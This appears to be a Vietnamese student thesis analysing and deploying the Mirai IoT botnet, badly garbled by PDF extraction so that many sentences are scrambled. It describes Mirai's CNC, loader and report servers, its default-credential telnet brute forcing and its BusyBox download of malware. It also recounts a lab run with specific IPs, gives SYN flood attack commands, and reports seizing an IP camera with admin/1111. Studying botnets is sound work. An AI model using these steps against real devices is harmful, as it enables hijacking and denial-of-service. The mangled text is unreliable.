́ ́ ́ ư ượ ử ̣ ̣ ̣ ̣ ̣ ̣ c quan ly b i môt bot­herder. ̃ ̀ ươ i đa   ̣   c s  dung cho muc đich đôc hai nh  tâmn công môt

́ ̀ ̀ ́ ́ ươ i cac bot đ ́ ̀ ́ ử ̣ ̣ ̉ ch c nao đo băng cach s  dung tân công DDoS hoăc kiêm tiên băng cach s ử

ư ̣ tao ra mang l ́ ̀ ử ư t dung th  rac.́

́ ế ố ớ ̉ ử ụ ụ ̣ Môt Bot­herder co thê s  d ng công c  IRC, CMD k t n i t i C&C Server.

ư ộ ử ệ ủ ề ể ẽ ớ ạ Server này s  nh  m t proxy g i l nh đi u khi n c a hacker t

̀ ́ ̀ ́ ́ ư ̣ ̣ ̣ ̣ i m ng botnet.   ́ ̀ ư    khi băt

Viêc khai thac botnet cân co kinh nghiêp lâp trinh giao th c ra lênh ngay t đâu. ̀

̀ ̃ ́ ̀ ự ́ ư ̉ ̣

́ ̃ ̀ ́ ở ợ ̉ ̣ ̣

̀ ̀ ̀ ̃ ́ ́ ̀ ́ ́ ́ ̃ ư ̣ ́ ơ ̣ ̣ ̣ ̣

̉   S  gia tăng cua băng thông tiêu dung đa tăng lên rât nhiêu s c manh cua ́ ơ   botnet đê kh i đông g n song tân công DDoS lên server, lây nhiêm hang triêu v i ́ hang triêu may tinh v i cac phân mêm gian điêp va ma đôc hai khac, ăn căp d  liêu ́ ̀ ́ ̀ ́ ượ ́ ơ ư ử ̣ ̣ ̣ ng l n cac th  rac va tham gia vao cac click gian lân, hăm

́ nhân dang, g i sô l ́ ̀ ̣

́ ̀ ̀ ̀ ̀ doa va tông tiên. ̀ ̣

́ ̀ ́ ́ ́ ́ ́ ́ ư ơ ự ̣ ̣ ̣

̀ ́ ́ ́ ̀ ̀ ̀ ̉ ̣ ̣ ̉ ́   Botnet la môi đe doa an ninh hang đâu internet ngay nay. Hacker đang thu hut ̃ ̀ ở b i botnet do client (bot) th c hiên đăt hang tai bât c  n i nao co kêt nôi. No rât de   ̃ ̀ ươ   i co thê khai thac lô dang đê ăn hoa hông dich vu tân công botnet va hacker la ng

́ ́ ́ ́ ́ ́ ơ ơ ở ̉ ̣ ̣ ̣ ̣ ́ hông m i môt cach nhanh h n. Botnet rât kho phat hiên b i bi chung rât năng đông,

́ ́ ́ ́ ́ ư ̉ ̣ ̉ ̣ ̉ ̣ thich  ng nhanh đê trôn tranh viêc bao vê an ninh phô biêt hiên nay.

17

́ ̀ ́ ̉ ̉ ̉ ̣ ̉ ̣ ̣ ̉ ̣

̃ ̀ ̀ ư ở ̣ ̣ ̉ ̉ ̣ ̣ ̣ mang tr  thanh môt phân cua botnet. Ca mang doanh nghiêp lân mang t

́ ́ ượ ̣ ̉ ̣ ̉ ̣ ̣ ̣ ̣ ́   Cac san phâm bao mât va quan tri hê thông thông tin phai ngăn chăn cac ̀  nhân cân   ̀ ̀   c ngăn chăn khoi bi tân công botnet đê ngăn chăn viêc lam dung nguôn tai đ

̀ ơ ở ̣ ́ ơ nguyên c  s  ha tâng l n.

ấ ừ ố ị ụ 2.2.2. Mô hình t n công t ch i d ch v

ướ ấ ừ ố ị ụ ủ ộ ạ ạ 2.2.3. Xu h ng t n công t ch i d ch v  c a t i ph m m ng

18

ƯƠ Ứ Ề Ồ CH NG 3. NGHIÊN C U V  MàNGU N BOTNET MIRAI

ớ ệ ề 3.1. Gi i thi u v  Botnet Mirai

ạ ượ ể ề ự ể Đây là lo i botnet không đ c xây d ng đ  đi u khi n các máy tính mà

ướ ế ế ị h ng đ n các thi t b  IoT (Internet of Things).

ự ệ ế ả ằ ế ị ạ Mirai th c hi n rà quét d i m ng IPv4 nh m tìm ki m các thi t b  IoT. Đ

ố ư ạ ỏ ự ủ ệ ệ ả t i  u hóa hi u năng rà quét c a mình thì Mirai th c hi n lo i b  các d i IP nh ể  ư

sau:

ượ ế ị ự ự ệ ậ Sau khi tìm đ c các thi ế   t b  IoT, Mirai th c hi n truy c p telnet tr c ti p

ặ ế ẽ ự ượ ệ ẩ ặ ho c n u không đ

ử ụ ủ ậ ấ ả ồ ậ c s  th c hi n bruteforce m t kh u qua telnet ho c ssh.   ẩ   Trong mã ngu n c a Mirai cho th y Mirai có s  d ng 60 tài kho n, m t kh u

ể ự ệ ấ ặ ị ư m c đ nh đ  th c hi n t n công nh  root:root, admin:admin1234, guest:guest…

ể ặ ậ ượ ế ị ư ộ M c dù có th  truy c p thành công đ c thi t b  nh ng mã đ c này l ạ ử  i s

ặ ệ ủ ế ị ộ ệ ụ d ng m t l nh đ c bi ệ t c a Busybox (ti n ích trên các thi

ệ ễ ẽ ượ ế ị ượ ự đó bot s  không th c hi n lây nhi m   đ ế c  n u thi t b  không  đ t b  Linux nhúng) do   ặ   c  cài  đ t

busybox.

ử ụ ượ ộ ẽ ự ệ Môt khi s  d ng đ ễ   c busybox, mã đ c s  th c hi n quá trình lây nhi m.

ệ ạ ỏ ấ ả ự ễ ệ ặ Đ c bi t sau khi lây nhi m thành công, Mirai th c hi n lo i b  t

ử ụ ể ậ ặ ổ ế ị trình đang s  d ng c ng 22, 23 đ  ngăn ch n đăng nh p trên thi ế   t c  các ti n ự   t b . Sau khi th c

ế ố ớ ệ ễ ộ ủ ề ể hi n lây nhi m thành công, mã đ c k t n i t ờ ệ   i máy ch  đi u khi n và ch  l nh

ấ t n công

ệ ấ ự ụ ớ ừ ố ị ụ V i m c đích chính là th c hi n t n công t

ớ ậ ấ ỹ ừ ố ị ụ ừ ơ ả ế ử ụ s  d ng t i 10 k  thu t t n công t ch i d ch v  t ch i d ch v  do đó botnet này   ằ    c  b n đ n nâng cao nh m

ạ ứ ấ ệ ả ấ ừ ố ị ụ đem l i hi u qu  cao nh t. Trong đó, hình th c t n công t ch i d ch v  ph ổ

ượ ử ụ ụ ấ ế bi n đ c áp d ng là thông qua t n công HTTP, Mirai s  d ng 5 user­agent khác

ệ ể ị nhau đ  tránh b  phát hi n.

19

ử ụ Hình 3.2. Mirai s  d ng 5 user­agent khác nhau (mirai/bot/table.h).

ệ ượ ộ ố ơ ế ể ả Ngoài ra, Mirai có kh  năng phát hi n và v

ừ ấ ơ ả ủ ị ừ ụ ố ụ bot   c   b n   c a   các   d ch   v   giúp   ngăn   ng a   t n   công   t t qua m t s  c  ch  ki m tra   ư ị   ch i   d ch   v   nh

ặ cloudflare ho c dosarrest.

ử ụ ụ ữ ấ ặ ậ ỹ ầ   Ngoài nh ng t n công thông d ng ra, Mirai s  d ng 2 k  thu t ít g p g n

ấ đây là t n công “DNS Water Torture” và “GRE IP Flood”.

ậ ấ ử ụ ỹ ừ ố ị ụ Hình 3.3. Mirai s  d ng 10 k  thu t t n công t ch i d ch v  (mirai/bot/attack.h).

ầ ấ ủ 3.1.1. Thành ph n c u trúc c a Botnet Mirai

Các thành ph n:ầ

ố ớ ệ ề ạ ­ A: Attacker có toàn quy n ra l nh đ i v i m ng botnet

ế ị ễ ộ ị ­ ữ B: Nh ng thi t b  sau khi b  nhi m mã đ c.

ữ ữ ạ ườ ­ C: CNC server gi liên l c gi a ng ạ i dùng và m ng botnet.

ề ế ế ị ớ ­ ậ R: Report server ti p nh n và lây lan bot v  các thi t b  IoT m i.

ấ ừ ễ ­ L: Loader server l y thông tin t Report server và lây nhi m malware.

20

ữ ể ­ ạ U: Nh ng khách hàng thuê m ng botnet đ  DDoS Victim.

ế ị ỗ ổ ­ ữ V: Nh ng thi t b  IoT có l h ng.

ạ ộ ủ ầ Hình 3.4. Mô hình ho t đ ng logic c a các thành ph n.

ấ ồ ồ ư ụ C u trúc mã ngu n chính g m 2 th  m c chính Loader và Mirai, trong đó

ư ụ ệ ạ ụ ụ ứ ồ Loader ch a các mã ngu n ph c v  cho vi c t o Report server, th  m c Mirai

ồ ạ ứ ạ ch a mã ngu n t o các con Bot và t o CNC server.

ư ụ ấ ồ Hình 3.5. C u trúc th  m c mã ngu n

ứ ề ể 3.1.2. Cách th c đi u khi n và lây lan Bots:

ế ố ệ K t n i CNC Server đ  ra l nh:

ướ ớ ể (cid:0) B c 1: Attacker k t n i t ế ố ớ i CNC qua telnet/ssh t i ip CNC qua port

ằ ệ 23 b ng l nh cmd : “telnet  23”.

ướ ự ệ ậ ằ ượ ấ (cid:0) B c 2: Th c hi n đăng nh p b ng Account đ ở c c p b i Admin

(Attacker).

21

ướ ệ (cid:0) B c 3: S  d ng l nh attack. ử ụ

Lây lan mã đ c:ộ

ướ ẽ ự ệ

ế ị ế ế ị ự ớ (cid:0) B c 1: Các con Bot trong m ng Botnet s  th c thi n rà quét các ạ     t b  n u không ệ t b  IoT m i và th c hi n brute force vào các thi thi

ự ế ượ telnet tr c ti p đ

ướ ế ị ử t b  IoT, Bot g i các thông

c. (cid:0) B c 2: Sau khi brute force thành công thi ề ồ tin g m IP, Port, Username, Password v  Report server.

ướ ừ ấ ể ự    Report server c p cho Loader server đ  th c

ậ ớ ệ ế ị ễ ộ (cid:0) B c 3: L y thông tin t ấ i thi hi n đăng nh p t t b  IoT và load mã đ c lây nhi m thi ế ị t b .

ế ị ẽ ự ộ ố ứ ệ ễ ị ướ t b  IoT b  lây nhi m s  th c hi n m t s  ch c năng

ặ ướ ư ự ệ ượ c cài đ t tr ế ố   c nh  scan, bruteforce và th c hi n k t n i (cid:0) B c 4: Thi chính đ

ớ t i CNC server.

ầ ủ 3.2. Phân tích các thành ph n c a Botnet Mirai

ủ 3.2.1. Máy ch  CNC

ứ a) Ch c năng

ư ụ ự ể ệ ệ ấ ả   Th  m c CNC: giám sát, ki m soát, th c hi n ra l nh Bot t n công và qu n

ề ấ lý/c p quy n cho các Account...

ạ ộ b) Nguyên lý ho t đ ng

ư ụ ượ ế ữ ằ ạ Các mã trong th  m c này đ c vi

ế ố ữ ả ộ   t trên ngôn ng  golang nh m t o ra m t ồ ạ ổ ế CNC server có kh  năng k t n i giao ti p gi a attacker và m ng botnet kh ng l .

ẽ ể ậ ừ ổ CNC server s  nghe c ng 23 đ  nh n telnet t ặ  attacker ho c thông tin v ề

ự ề ệ ệ ấ ớ ố Bot m i và 101 th c hi n truy n các l nh t n công xu ng cho botnet.

22

ế ố ắ Hình 3.6. CNC l ng nghe k t n i (mirai/cnc/main.go).

ở ổ ươ ụ ẽ ệ Khi nghe c ng 23 ch ng trình s  làm nhi m v  khác nhau tùy vào d ữ

ệ ậ ượ ữ ệ ế ậ ượ li u nh n đ c. N u các d  li u nh n đ c có 4 bytes, mà là “00 00 00 x” (byte

ươ ữ ệ ị ừ ộ ớ x> 0), ch ằ ng trình xác đ nh r ng d  li u này là t m t Bot m i. Ng

ươ ế ố ừ ể ự ượ ạ   c l i ệ ch ng trình hi u là có k t n i t Attacker qua telnet, Attacker th c hi n đăng

ể ạ ề ế ả ậ ọ ị nh p n u là có quy n qu n tr  thì h  có th  t o các username khác v i s  l ớ ố ượ   ng

ụ ể ượ ử ụ Bot c  th  đ c phép s  d ng.

23

ậ ượ ặ Hình 3.7. CNC nh n đ c thông tin là bot ho c admin (mirai/cnc/main.go).

Trong file Admin.go:

ậ ẽ ừ ậ ươ ế Dòng 39: Nh p user. N u không nh p s  d ng ch ng trình.

ừ ậ Hình 3.8. Nh p username t cmd.

ế ậ ả ậ ộ ờ Dòng 47 : Nh p Password. N u không nh p sau m t kho ng th i gian đã đ ượ   c

ế ậ ẽ ừ ươ thi t l p s  d ng ch ng trình.

ừ ậ Hình 3.9. Nh p password t cmd.

ể Dòng   62   :   Ki m   tra   username/password   trong   Database. Ở ướ   b c   này,   hàm

ẽ ử ụ ể ể ậ TryLogin   s   s d ng   account   đ   đăng   nh p   vào   Database   sau   đó   ki m   tra

24

ồ ạ ồ ạ ẽ ệ username/password có t n t ế i hay không? N u không t n t i s  hi n thông báo và

thoát.

ừ ậ Hình 3.10. Nh p password t cmd.

ậ In ra các dòng thông báo sau khi đăng nh p thành công.

ậ Hình 3.11. Thông báo đăng nh p thành công.

ụ ố ượ ẽ ể ớ Hàm func() s  ki m tra liên t c s  l ng Bot connect t

ớ ể ử ụ ế ị ấ V i hàm này hacker s  bi ẽ ế ượ ố t đ c s  thi i CNC theo Real Time.   ờ   t b  có th  s  d ng t n công trong th i

ệ ạ ể đi m hi n t i.

ố ượ ể ớ Hình 3.12. Ki m tra s  l ng Bot connect t i CNC.

25

ằ ạ ể ượ ử ụ ả Đo n mã nh m thi ế ậ ố ượ t l p s  l ng Bot mà tài kho n có th  đ c s  d ng.

ử ưở ượ ạ ộ ớ ổ ồ ể Th  t ng t ng v i m t m ng botnet kh ng l

ể ể ế ậ ợ trên Internet thì hacker hoàn toàn có th  cho thuê đ  ki m l ấ ứ ứ   ậ  có th  đánh s p b t c  th  gì ư ậ   i nhu n. Nh  v y,

ả ẽ ạ ớ ố ượ ả ộ ng Bot mà tài kho n đó đ ượ ử  c s

Hacker s  t o m t tài kho n và kèm v i s  l d ng.ụ

Dòng 122 và 123: Add thêm user/password vào database.

ể ử ụ ế ậ ấ ả ố Dòng 133: N u nh p ­1 thì username có th  s  d ng t t c  s  Bot đang active.

ố ượ ể ậ Dòng 139: Ki m tra s  l ợ ệ ng Bot nh p vào h p l ?

ợ ệ ể ờ ơ ị ấ Dòng 144: Ki m tra th i gian t n công có h p l ? (đ n v  giây)

ả ấ ớ Hình 3.13. Thêm và c u hình cho tài kho n m i.

ẽ ả ề ạ ấ ụ ừ ố Hàm attackInfoLookup s  tr ụ  v  các tham s  ph c v  cho t ng lo i t n công,

ậ ệ ấ ấ ươ ứ C u trúc nh p l nh t n công:   

26

Hình 3.14. Hàm AttackInfoLookup.

ủ 3.2.2. Máy ch  Loader

ứ a) Ch c năng

ư ụ ự ứ ể ồ Trong th  m c này ch a mã ngu n đ  xây d ng Loader server, máy ch

ẽ ắ ủ ủ ự ệ ệ ấ ủ  ậ   th c hi n vi c lây lan bots. Máy ch  này s  l ng l y thông tin c a hacker nh p

ủ ừ ẽ ự ệ ậ th  công t STDIN. Sau đó Loader server s  th c hi n đăng nh p vào các thi ế ị  t b

ễ ộ IoT và lây nhi m mã đ c.

ạ ộ b) Nguyên lý ho t đ ng

ẽ ạ ể ạ ạ ế   Loader server s  t o các socket trên các card m ng đ  t o các socket k t

ờ ồ ố ế n i đ n các IoT đ ng th i.

ế ậ Hình 3.15. Thi t l p network card cho report server (loader/main.c).

27

ạ ế ệ ằ ộ

ế ố ẵ ệ ệ ư ự ề ố

ể ề

ể ả ứ ứ ừ ề ặ ọ   Ti p theo, t o các k t n i s n sàng cho vi c lây lan mã đ c b ng vi c g i ữ  ế ị ẽ ử ụ   t b  s  s  d ng    TFTP server ho c Wget server v  và i malware t

ộ ế ự ư hàm  server_create   ().  Nó  th c   hi n  truy n  các   tham  s  nh   ip  server   l u  tr malware có giao th c wget hay tftp. Loader khi đi u khi n thi m t trong 2 giao th c này đ  t ti n hành th c thi malware.

ở ạ ứ ộ Hình 3.16. Kh i t o server ch a mã đ c (loader/main.c).

ữ ệ ẽ ọ ẩ ầ ừ Loader server s  đ c các d  li u đ u vào qua chu n STDIN t bàn phím

ử ụ ạ ặ ị theo đ nh d ng “IP:Port Username:Password” s  d ng vòng l p while(TRUE) đ ể

ụ ể ầ ủ ệ ằ ậ liên t c ki m tra đ u vào t ừ ườ  ng i dùng. Tuy nhiên, vi c nh p th  công b ng tay

ẽ ẫ ệ ả ờ ế ị ế thông tin cho Loader s  d n đ n kho ng th i gian phát hi n thi

ễ ấ ả ộ ờ ị ế ị th i gian lây nhi m mã đ c b  delay time gây ra kh  năng m t thi ả   t b  và kho ng ệ   t b  IoT. Vi c

ượ ờ ế ắ ể ạ ừ này đã đ ụ c kh c ph c nh  vi t thêm đo n mã auto chuy n thông tin t Report

server sang Loader server.

ậ ừ Hình 3.17. Nh n ip, port, user, pass t STDIN (loader/main.c).

ự ệ ướ ậ ằ Hàm worker() này th c hi n các b c đang nh p và lây lan bot b ng cách

ệ ề ệ ẵ ế ị truy n các câu l nh qua ti n ích busybox có s n trên các thi t b  IoT. Busybox là

28

ữ ệ ế ể ườ ả ị ế ị ệ ti n ích đ  giao ti p gi a ng i qu n tr  và thi t b  IoT qua dòng l nh CMD (c ụ

ể ở th đây là bashshell).

29

30

ử ụ ộ Hình 3.18. S  d ng busybox login và lây mã đ c (loader/server.c).

ủ 3.2.3. Máy ch  Report

ứ a) Ch c năng

ệ ế ằ ữ ắ ồ T p tin scanListen vi t b ng ngôn ng  golang giúp l ng nghe các h i đáp

ừ ạ ề ế ị ớ ở m ng botnet v  các thi t b  IoT m i đã bruteforce thành công b i các con bots

t trên m ng.ạ

ạ ộ b) Nguyên lý ho t đ ng

ế ố ế ổ ả ử ề ừ ể ợ ế ắ L ng nghe k t n i đ n c ng 48101 đ  đ i k t qu  g i v  t bot.

ế ố ắ ổ Hình 3.19. L ng nghe k t n i trên c ng 48101 (scanListen.go).

ể ị Thông tin thi ế ị ượ t b  đ ể ử ụ c hi n th . Sau đó, có th  s  d ng thông tin này cung

ể ế ễ ộ ấ c p cho Loader server đ  ti n hành lây nhi m mã đ c lên thi ế ị t b .

31

ể ị ế ị ượ Hình 3.20. Hi n th  thông tin thi t b  bruteforce đ c (scanListen.go).

32

3.2.4. Mã đ cộ

ứ a) Ch c năng

ư ụ ơ ả ự ứ ứ ệ ồ ặ   Th  m c bot: ch a mã ngu n bot, th c hi n các ch c năng c  b n m c

ủ ễ ớ ị đ nh c a bot khi m i lây nhi m:

(cid:0) ộ n t p tin mã đ c.

ở ộ ế ị ạ t b  kh i đ ng l i.

ế Ẩ ệ (cid:0) Ngăn thi (cid:0) Kill các process đang chi m c ng 22(ssh)| 23(telnet)| 80(http).  ổ

(cid:0) ớ ớ ạ ế ố T o k t n i m i t i CNC.

(cid:0) Ẩ ế ạ ộ n ti n trình ho t đ ng.

ế ị ồ ử ề (cid:0) Bruteforce thi t b  IoT r i g i v  cho Report server.

(cid:0) ể ủ ể ờ ầ ấ ề ắ L ng nghe đi u khi n c a CNC server đ  ch  yêu c u t n công Victim.

ạ ộ b) Nguyên lý ho t đ ng

ẽ ự ế ệ ấ ằ ổ ẫ   ủ Bot s  th c hi n che d u ti n trình c a mình b ng cách thay đ i tên ng u

ậ ẫ ượ ử ụ ằ ị nhiên. Thu t toán ng u nhiên đ c s  d ng b ng cách d ch bit và xor.

ế ấ Hình 3.21. Che d u ti n trình (mirai/bot/main.c).

ể ấ ở ạ ạ ấ ấ ố Kh i t o các tham s  cho ki u t n công và cung c p các lo i t n công khác

ể ấ ể ự ề ọ nhau (UDP, VSE, DNS, SYN và nhi u ki u t n công DDoS khác) đ  l a ch n.

33

ươ ứ ấ Hình 3.22. Các ph ng th c t n công (mirai/bot/attack.c).

ấ ả ẽ ả ở ổ ệ ế ả Kill t t c  các ti n trình đang m  c ng 22, 23. Vi c này s  đ m b o hacker

ể ế ố ớ ả ặ ị ế ị ụ ị khác ho c qu n tr  viên không th  k t n i t i thi t b  thông qua d ch v  này.

ụ ổ ị Hình 3.23. Kill các c ng d ch v  (mirai/bot/killer.c).

ế ị ư ườ ế ớ Các thi t b  giám sát nh  Camera th

ể ử ụ ứ ệ ẽ ệ hi u treo, không th  s  d ng ch c năng thì ti n ích watchdog s  reset thi ấ   ng liên k t v i watchdog. Khi có d u ế ị   t b .

34

ặ ự ệ ộ ầ ư ậ ể ả ưở ớ Nh  v y, mã đ c c n ngăn ch n s  vi c đ  tránh  nh h ng t ạ   i quá trình ho t

ộ đ ng .

ả ế ị ạ Hình 3.24. Ngăn c n thi t b  reboot l i (mirai/bot/main.c).

ở ạ ệ ố ế ị ớ Kh i   t o   thông   s   cho   vi c   rà   quét   các   thi t   b   v i   IP   và   username,

ặ ị password m c đ nh.

ể ả ớ Hình 3.25. Tài kho n dùng đ  bruteforce IoT m i (mirai/bot/scanner.c).

ả ị ỉ ượ ế ậ ể ẫ ộ ỉ ị D i đ a ch  đ c thi t l p đ  mã đ c scan đ a ch  IP ng u nhiên trong các

d i.ả

ộ ẽ ờ ậ ư ệ ị Nh  v y, mã đ c s  tránh b  phát hi n và cho vào spam list cũng nh  firewall.

ị ỉ ế ị ớ Hình 3.26. Đ a ch  bruteforce thi t b  IoT m i (mirai/bot/scanner.c).

ẽ ử ế ị ượ ớ Sau khi rà quét đ c các thi

ể ắ ề ạ t b  IoT m i đã brute force các bot s  g i thông   ồ   ẽ tin v  cho Report server, report server s  ch y tool scanlisten đ  l ng nghe h i

ừ đáp t bot.

35

ử ớ Hình 3.27. Bot g i thông tin các IoT m i đã bruteforce (mirai/bot/scanner.c).

ế ố ề ượ ẵ ở ỉ ề K t n i CNC qua tên mi n và port đ ị c ch  đ nh s n, đây các tên mi n và

ề ượ ụ ở ượ ị ừ port đ u đ ụ c mã hóa b i công c  “enc”. Công c  này đ c biên d ch t mã

ư ụ ồ ngu n “enc.c” trong th  m c “tools”.

Hình 3.28. Khai báo domain và port các server (mirai/bot/table.c).

36

ƯƠ Ự Ể CH NG 4. Ệ TRI N KHAI TH C NGHI M BOTNET MIRAI TRÊN

Ị Ế CÁC THI T B  IOT

ả ự ệ 4.1. Mô t th c nghi m

ẽ ồ ự ệ Mô hình th c nghi m s  g m:

ứ ủ ầ • 1 máy ch  Kali linux ch a thành ph n 1­>5.

IP: 203.162.130.69.

ứ ầ ạ ộ • 1 máy kali linux ch a thành ph n 6 và ch y mã đ c.mirai.dbg.

IP: 203.162.130.66.

ủ ầ • 1 máy ch  windows server là thành ph n 7.

IP: 203.162.130.87.

ầ • 1 máy windows 10 là thành ph n 8.

IP: 14.177.140.96.

IP

Port 23

203.162.130.69 Number 1 2 3 4 Execute CNC Loader scanListen.go Mysql 48101 3306

Name CNC Server Loader Server Report Server Mysql Server Wget & TFTP Apache2 80 5 Server

mirai.dbg || 6 Bot 203.162.130.66 mirai.arm

7 Victim 203.162.130.87

CMD || 8 Attacker 14.177.140.96 Secure CRT

ự ệ ầ B ng ả 1. Thành ph n th c nghi m.

ử ệ ấ 4.2. Th  nghi m t n công

ẽ ồ ự ể ệ ứ ớ Tri n khai th c nghi m s  g m 7 b ướ ụ ể ươ c c  th  t ạ   ng  ng v i 5 giai đo n

ấ hình thành t n công.

37

ướ ở ạ B c 1. Kh i ch y CNC Server

ướ ụ ệ B c 1 có 2 nhi m v  chính:

ế ố ớ ứ ề 1. K t n i t i Database. Database ch a thông tin v  History, Admin bao

ố ượ ủ ồ g m Username/Password c a Admin, s  l ng Max Bot mà Admin

ể ử ụ ứ ấ ị ỉ có th  s  d ng t n công và WhiteList ch a các đ a ch  IP không đ ượ   c

ấ t n công.

ờ ế ố ừ ở 2. M  port 23 ch  k t n i t Bot và Attacker.

ạ ở Kh i ch y:

ạ ở Hình 4.29. Kh i ch y CNC Server.

Phân tích source code:

ứ ể ớ Dòng 12 ­> 15: Ch a thông tin đ  CNC connect t i Database.

ậ ọ Dòng 18: G i hàm đăng nh p Database.

ế ố ế ổ ắ Dòng 21 ­> 24: L ng nghe k t n i đ n c ng 23.

38

ủ ặ Hình 4.30. Cài đ t thông tin c a Database (cnc\main.c).

ậ Dòng 23 ­> 30: CNC đăng nh p Database

ậ Hình 4.31. CNC đăng nh p Database (cnc\database.go).

ướ ở ạ B c 2. Kh i ch y Report Server

ả ở ế ị ủ ờ ế M  port 48101 ch  k t qu  scan các thi t b  IoT khác c a Bot.

ạ ở Hình 4.32. Kh i ch y scanListen.

Phân tích source code:

ở Dòng 11 ­> 25: M  port 48101

39

ờ ế ả ừ ở Hình 4.33. M  port 48101 ch  k t qu  t Bot.

ướ ế ị B c 3. ậ Nh p thi t b  IoT cho Loader lây lan Malware

ướ ụ ệ B c 3 có 2 nhi m v  chính:

ể ế ị 1. ề Loader đi u khi n thi ễ t b  và lây nhi m Malware.

ố ượ ể ử ề ớ 2. ị ổ Hi n th  t ng s  l ng v  Process x  lý, Connect t i Loader, thi ế ị  t b

ậ IoT đăng nh p thành công, Wgets và TFTP.

ế ế ị ồ ậ Ti n hành nh p thông tin thi t b  IoT g m: IP:Port Username:Password t ừ

Scanlisten vào loader.

ậ Hình 4.34. Nh p Bot cho Loader.

ế ị ự ệ Loader telnet thi t b  IoT ­> Loader th c hi n lây lan Malware.

Phân tích:

IP Loader: 203.162.130.69

IP Bot: 61.222.7.176

40

ế ố ế ị ễ Hình 4.35. Loader k t n i thi t b  IoT lây nhi m Malware.

ử ệ ớ ế ị ể ệ ằ Loader g i l nh t i thi t b  IoT nh m dùng ti n ích Busybox đ  download

ự và th c thi Malware.

ự ệ Hình 4.36. Loader th c hi n lây lan Malware.

41

ướ ớ B c 4. Attacker telnet t i CNC

ướ ệ ụ B c 4 có 2 nhi m v :

ế ố ề 1. ể K t n i và đi u khi n CNC theo Realtime.

ố ượ 2. Update s  l ng Bot connect.

ờ Sau khi lây Malware thành công ở ướ  b c 3 thì gi ể ế    đây Attacker đã có th  k t

ể ề ố ớ n i t i CNC và dùng CNC đi u khi n Bot.

ở ẽ ử ụ Attacker ể ề    đây có vai trò là Admin. Attacker s  s  d ng CMD  đ  đi u

ệ ể ớ khi n CNC và ra l nh t i Bot thông qua CNC.

ớ Hình 4.37. Attacker telnet t i CNC.

ế ố ớ ế ố ế ấ Attacker k t n i t i CNC và đã th y có 1 Bot k t n i đ n CNC.

ằ Phân tích b ng wireshark:

42

ậ Hình 4.38. Attacker đăng nh p CNC.

IP Attacker: 14.177.140.96

IP CNC: 203.162.130.69

ậ Attacker telnet và đăng nh p CNC.

ử ụ ậ Attacker s  d ng user/pass là hacker/hacker và đã đăng nh p công.

ấ ươ ứ ả ậ ớ Sau khi follow tcp ta th y string t ng  ng v i tài kho n đăng nh p là

ề ố ượ ớ hacker/hacker và thông tin v  s  l ng Bot connect t i CNC.

Phân tích source code:

43

ế ố ớ ổ ể Hình 4.39. Ki m tra k t n i t i c ng 23 là Bot hay Admin (cnc/main.go).

ế ậ ượ Dòng 66: N u nh n đ c 4 bytes \x00\x00\x00\x01 => Bot connect CNC.

Ng ượ ạ c l i, Admin connect CNC.

ướ ể ạ B c 5. Ki m tra tr ng thái Loader Server, Bot, Report Server

ủ ể ạ ễ   Ki m tra tr ng thái c a Loader Server, Bot, Report Server sau khi lây nhi m

Malware.

1. Loader Server:

44

ế ố ể ị Hình 4.40. Loader hi n th  Bot k t n i thành công.

ư ậ ế ả Nh  v y Bot có IP 61.222.7.176, port 23, tài kho n admin/1111, ki n trúc

arm7.

ệ ể ử ụ ệ ệ ặ Và đ c bi t Bot có ti n ích Busybox và có th  s  d ng l nh Wget. Wget

ư ừ nh  đã nói t ừ ướ  tr c giúp thi ế ị ả t b  t i Malware t Wget Server.

2. Bot:

45

ế ị Hình 4.41. Thông tin Bot scan thi t b  khác.

ế ị ễ Ngay sau khi lây nhi m Malware vào thi ẽ t b  thì Bot s :

ự ế ằ ở  T  kill các ti n trình đang m  port 23 trên Bot nh m không cho b t ấ

ể ậ ế ị ỳ k  ai có th  truy c p vào thi t b  qua port 23.

ả  Phân gi ề i tên mi n CNC

ế ố ớ  K t n i t i CNC

ự ộ ế ị ồ ờ ữ ế ố ớ  T  đ ng bruteforce thi t b  khác và đ ng th i gi k t n i v i CNC.

ử ế ả  G i k t qu  cho Report Server

3. Report Server:

46

ế ị Hình 4.42. Thông tin thi t b  mà Bot bruteforce thành công.

ề ể ị ế ị Hi n th  thông tin v  thi t b  mà Bot bruteforce thành công.

ỉ ừ ư ở ứ L u ý: trong Source code Mirai, Bot ch  d ng ư    m c bruteforce mà ch a

ể ế ị ể ề ệ ệ ki m tra các đi u ki n đ  lây Malware trên thi

ế ị ề ể ể ợ ơ ớ t b  nên vi c này hoàn toàn không   ệ   t b  phù h p đ  lây Bot. Loader server m i là n i ki m tra đi u ki n có nghĩa thi

ứ ầ ả ệ ề ớ và lây Malware ch  không ph i scanListen. C n phân bi t đi u này, đây m i ch ỉ

ệ ầ ư ề ư ủ là đi u ki n c n nh ng ch a đ .

ướ ấ B c 6. Attacker t n công Victim

ướ ệ ụ B c 6 có 3 nhi m v :

ố ượ ề ể ậ ị ể 1. Hi n th  thông tin v  user đăng nh p và s  l ng Bot có th  attack.

ậ ệ 2. Nh p l nh attack

ớ 3. ử ệ G i l nh t i CNC

ậ ệ ấ ạ ị Nh p l nh t n công theo đ nh d ng :   

ụ Ví d : syn 203.162.130.66 30 psh==1

syn 203.162.130.66 3600 ack==1

ấ ậ ệ Hình 4.43. Nh p l nh t n công.

47

ẽ ượ ệ ử ẽ ượ ử ư L nh s  đ c Attacker g i s  đ c g i nh  sau:

ậ ệ ấ Attacker nh p l nh t n công qua CMD ­> CNC ­> Bot ­> Victim

ệ ấ Hình 4.44. L nh hacker dùng t n công.

IP Attacker: 14.177.140.96

IP CNC: 203.162.130.69

IP Victim: 203.162.130.87

Command: syn 203.162.130.87 20 psh==1

ấ ả ằ Attacker t n công Victim b ng Syn Flood và có c  Flag Push trong vòng

20s.

48

ướ ể ế ả B c 7. Ki m tra k t qu

49

ế ị ể ề ế Hình 4.45. Thi ị t b  IoT là IP Camera b  chi m quy n ki m soát.

ế ư ượ ấ ị Hình 4.46. Victim b  Attacker t n công khi n l u l ng tăng cao.

ụ ử ấ Bot liên t c g i gói tin t n công Victim trong vòng 20s. Tuy nhiên, s  l ố ượ   ng

ị ấ ớ ả ứ gói tin Victim ph i h ng ch u r t l n.

50

Ậ Ế K T LU N

ố ươ ể ệ ủ ồ ượ ằ ữ ặ B n ch ng c a đ  án đã th  hi n đ ụ c r ng nh ng m c tiêu đ t ra khi

ạ ượ ự ề ệ ồ th c hi n đ  án đ u đã đ t đ ụ ể c. C  th :

ươ ớ ượ ổ ề ươ Ch ng 1 đã gi ệ i thi u đ c t ng quan v  Internet of Things. Ch ng này

